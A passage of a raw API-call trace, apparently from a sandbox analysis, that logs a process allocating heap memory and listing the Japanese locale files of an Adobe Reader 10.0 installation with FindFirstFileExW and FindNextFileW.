(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b268 [0082.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1281ae8 [0082.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.164] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.JPN", cAlternateFileName="")) returned 1 [0082.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b288 [0082.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1281bf0 [0082.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.165] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.JPN", cAlternateFileName="")) returned 1 [0082.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b2a8 [0082.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1281cf8 [0082.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.166] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8506c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf8e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.JPN", cAlternateFileName="")) returned 1 [0082.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b2c8 [0082.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1281e00 [0082.169] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.169] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.JPN", cAlternateFileName="")) returned 1 [0082.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.169] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b2e8 [0082.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1281f08 [0082.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.171] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.JPN", cAlternateFileName="")) returned 1 [0082.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b308 [0082.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282010 [0082.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.172] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.JPN", cAlternateFileName="")) returned 1 [0082.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b328 [0082.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282118 [0082.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.174] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.JPN", cAlternateFileName="")) returned 1 [0082.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b348 [0082.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282220 [0082.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6d40) returned 0x129ac30 [0082.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293f28) returned 1 [0082.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.175] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.JPN", cAlternateFileName="")) returned 1 [0082.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b368 [0082.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282328 [0082.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.177] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.177] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.JPN", cAlternateFileName="")) returned 1 [0082.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b388 [0082.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282430 [0082.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.178] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.JPN", cAlternateFileName="")) returned 1 [0082.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b3a8 [0082.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282538 [0082.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.180] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.JPN", cAlternateFileName="")) returned 1 [0082.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b3c8 [0082.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282640 [0082.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.181] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.JPN", cAlternateFileName="")) returned 0 [0082.181] GetLastError () returned 0x12 [0082.181] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.182] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x56c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.JPN", cAlternateFileName="")) returned 1 [0082.182] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8506c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf8e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.JPN", cAlternateFileName="")) returned 1 